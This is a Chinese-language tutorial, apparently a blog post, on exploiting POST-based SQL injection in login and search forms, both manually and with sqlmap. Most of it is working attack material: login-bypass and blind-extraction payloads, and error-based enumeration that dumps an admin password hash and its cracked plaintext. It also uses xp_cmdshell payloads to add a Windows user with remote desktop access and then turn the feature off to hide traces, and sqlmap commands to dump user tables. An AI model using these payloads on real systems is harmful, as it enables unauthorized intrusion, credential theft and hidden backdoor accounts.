手工+sqlmap的POST注入
手工:
第一种
1.判断输入框是否存在注入
直接输入一个 '看是否报错(如果存在盲注的话也是不会报错的),如果直接出错了,说明存在注入漏洞,如果没有,那么还需要进一步确定。如果页面有多个输入框,这时要分别确定是否都存在注入漏洞。
2.判断是什么类型的数据库
,以及 这个页面是什么类型的,如果web服务器和sql服务器在同一个机器上,没准扫描端口就能知道,当然有可能端口是不对外开的。这个时候可以通过数据库之间 的语法差异构造些语句来识别,这里碰到的是MSSQL+ASPX,目前ASP,ASPX,php都可以做一些简单的特殊字符过滤,比如"<" ,";","--"等之类的,所以在测试的时候要考虑下。
3.绕过输入信息以获得更多的信息
例如一个页面有两个输入框username和password,并且判断出仅有username存在注入漏洞。
当我们输入错误的用户名时,提示username error。
通常我们在输入数据时,web一般将 会用select * from admin where username=’XXX‘ and password=’YYY‘ 这句话提交给SQL服务器来对用户名和密码加以验证,其中 admin 是表名,username 和 password 是要输入的内容。我们只关心我们要输入的东西。
我们先构造语句
select * from admin where username=’ ’ or '1'='1‘--‘ and password=’YYY‘即用户名输入’ or '1'='1‘--
--用于注释后面的语句
结果是不能正常运行,如果是以上这种类型的话,我们构造的语句是永真的,那么可以绕过登陆的页面
如果我们用户名输入’ or '1'='1
则会出现user password error错误,说明可以绕过用户名的输入
综上所述,不能做到同时绕过用户名和 密码的输入,只能绕过username的输入,并且用户名框和密码框产生的是两个不同的错误,说明username 和password是可能分别提交的(如果是一起提交的话,应该只有一种错误,比如提示:你的用户或密码错误),可能是if (username='XXX' );if (password='YYY' )
4.有了这个能用的用户,我们试图猜解下口令
先构造语句
select * from admin where username=’ ’ or passwd like 'a%' and password=’YYY‘即用户名输入’ or passwd like 'a%
当password里面包含有a字符时为真,即用户名为真,应该回显一个user password error
假如第一个为a,接着下一个字符。输入’ or passwd like 'ad% 继续检测
当然,我们还应该检测这个密码的长度,
构造语句
select * from admin where username=’ ’ or len(passwd) < '20' and password=’YYY‘即用户名输入 ’ or len(passwd) < '20
同样的,成立时返回的错误应该是user password error,从20往1试,直到出现username错误,那么长度就得知了
值得注意的是,当有多个用户名和密码时,如果长度不一样,那么这个长度值会有多个。
同样的上面的方法可以试出用户名和用户名的长度
select * from admin where username=’ ’ or username like 'a%' and password=’YYY‘即用户名输入’ or passwd like ’a%
select * from admin where username=’ ’ or len(username) < '20' and password=’YYY‘即用户名输入 ’ or len(username) < '20
这样我们就成功的破解了用户名和密码.
进去以后依然还有个输入框
1.判断输入框是否存在注入
直接输入一个 ‘ 看是否报错(如果存在盲注的话也是不会报错的),如果直接出错了,说明存在注入漏洞,如果没有,那么还需要进一步确定。如果页面有多个输入框,这时要分别确定是否都存在注入漏洞。
2.简单的输入信息看能不能获得更多的信息
例如一个页面有两个查询输入框username和remoteip,并且判断出都存在注入漏洞。
先试试输入 ' or '1' = '1
结果是都可以正常运行,并且相当于是没有输入任何内容进行查询。
猜测伪代码会不会是这种类型的呢?
if(username like 'XXX' and remoteip like 'YYY')
构造语句试试能不能运行
if(username like 'XXX' and remoteip like 'YYY');show databases--XXX' and remoteip like 'YYY')即输入XXX' and remoteip like 'YYY');show databases--
在输入前得确保能输入这么多字符,可以通过改变源码来修改最多字符数。
发现结果是报错。
那么有没有可能采用的是group by这种语句呢?
select username,remoteip,remotehost from table where username like 'XXX' group by username,remoteip,remotehost
那我们就构造
select username,remoteip,remotehost from table where username like ' ' group by username,remoteip,remotehost;show databases--
即输入' group by username,remoteip,remotehost;show databases--
发现能够正确的运行
既然能够运行指定的语句了,那就好办了。
先开启 xp_cmdshell 扩展存储过程,由于存在安全隐患,所以在SQL Server 2005以后的版本中, xp_cmdshell 默认是关闭的。
输入
' group by username,remoteip,remotehost;EXEC sp_configure 'show advanced options', 1--
' group by username,remoteip,remotehost;RECONFIGURE--
开启扩展存储
' group by username,remoteip,remotehost;EXEC sp_configure 'xp_cmdshell',1--
增加用户
' group by username,remoteip,remotehost;EXEC xp_cmdshell 'net user hello hello /add'--
有些情况还需要将用户添加到远程桌面组
' group by username,remoteip,remotehost;EXEC xp_cmdshell 'net localgroup "remote desktop users" hello /add’--
清痕时还要关闭xp_cmdshell
' group by username,remoteip,remotehost;EXEC sp_configure 'show advanced options',0--
第二种
后台登陆框post注入按照注入的方式属于post,和前台搜索型post注入、文本框注入类似,由于目前主流的注入工具除了穿山甲等较新工具以外几乎都是get注入,尤其是对于这种后台账户型post注入式无能为力的,所以手工注入就显得尤为重要了,今天就用实战说明一下大家不大在意的post注入的手注方法。(以后也会补充一个cookie注入的实战例子)
1.爆数据库的表段和相关字段
' having 1=1--
说明有表名叫 Sys_Admin 字段有 password
2.爆Sys_Admin下的其他字段。
' group by Sys_Admin.Password having 1=1--
不知道为何没法用这种方式继续爆表段的其他字段
失败。
3 换种方式爆Sys_Admin表段的其他字段
1' and 1=convert(int,(select top 1 col_name(object_id ('Sys_Admin'),1) from Sys_Admin)) and '1'='1
1' and 1=convert(int,(select top 1 col_name(object_id ('Sys_Admin'),2) from Sys_Admin)) and '1'='1
这就是我们一开始就和表段一起爆出来的密码字段。
1' and 1=convert(int,(select top 1 col_name(object_id ('Sys_Admin'),3) from Sys_Admin)) and '1'='1
在将 nvarchar 值 'Name' 转换成数据类型 int 时失败。
由结果可以推断管理员账户是在name字段中,密码是在password字段中。
4.然后就是分别爆字段内容了
' and (select top 1 Sys_Admin.Name from Sys_Admin)>0--
所以爆出来的是admin
' and (select top 1 Sys_Admin.Password from Sys_Admin)>0--
爆出来的密码是 D14E21B3210EF7C7EB42EC9740A1EE7E
经过破解是:pjxh3100312
所有后台账户和密码是 admin pjxh3100312
经过分析还有实例联系说明,手工注入的方法不能死板,可以多种方法结合一起使用,学习多种数据库的使用是非常有必要的。
利用sqlmap进行POST注入,常见的有三种方法:
注入方式一:
1.用Burp抓包,然后保存抓取到的内容。例如:保存为post.txt,然后把它放至某个目录下
运行sqlmap并使用如下命令:./sqlmap.py -r search-test.txt -p tfUPass,这里参数 -r 是让sqlmap加载我们的post请求rsearch-test.txt,而-p 大家应该比较熟悉,指定注入用的参数。
2.列数据库:
[html]view plaincopy
sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n --dbs
注:-r表示加载一个文件,-p指定参数
其中出现了三次提示:
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起来像后端DBMS是'mysql'。 是否要跳过特定于其他DBMS的测试负载? [Y/n]输入"Y"
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗? [Y/n]输入"N"
POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST参数'n'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N]输入"Y"
以下是猜解出来的一些数据库总共有13个数据库。
3.猜表
选择一个数据库,比如选fendo
[html]view plaincopy
sqlmap.py -r "c:\Users\fendo\Desktop\test.txt" -p n -D fendo --tables
得到user表。
4.猜列
[html]view plaincopy
sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n -D fendo -T user --columns
5.猜数据
[html]view plaincopy
sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n -D fendo -T user -C “username,password” --dump
注入方式二:自动搜索表单的方式
[html]view plaincopy
sqlmap.py -u "http://192.168.160.1/sqltest/post.php" --forms
它会有几次消息提示:
do you want to test this form? [Y/n/q]
要测试此表单吗?[Y/n/q]输入"Y"
do you want to fill blank fields with random values? [Y/n]
是否要填充带有随机值的空白字段? [Y/n]输入"Y"
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起来像后端DBMS是'MySQL'。 是否要跳过特定于其他DBMS的测试负载? [Y/n]输入"Y"
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗?[Y/n]输入"N"
POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST参数'n'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N]输入"N"
do you want to exploit this SQL injection? [Y/n]
你想利用SQL注入?输入"Y"
注入方式三:指定一个参数的方法
[html]view plaincopy
sqlmap -u http://xxx.xxx.com/Login.asp --data "n=1&p=1"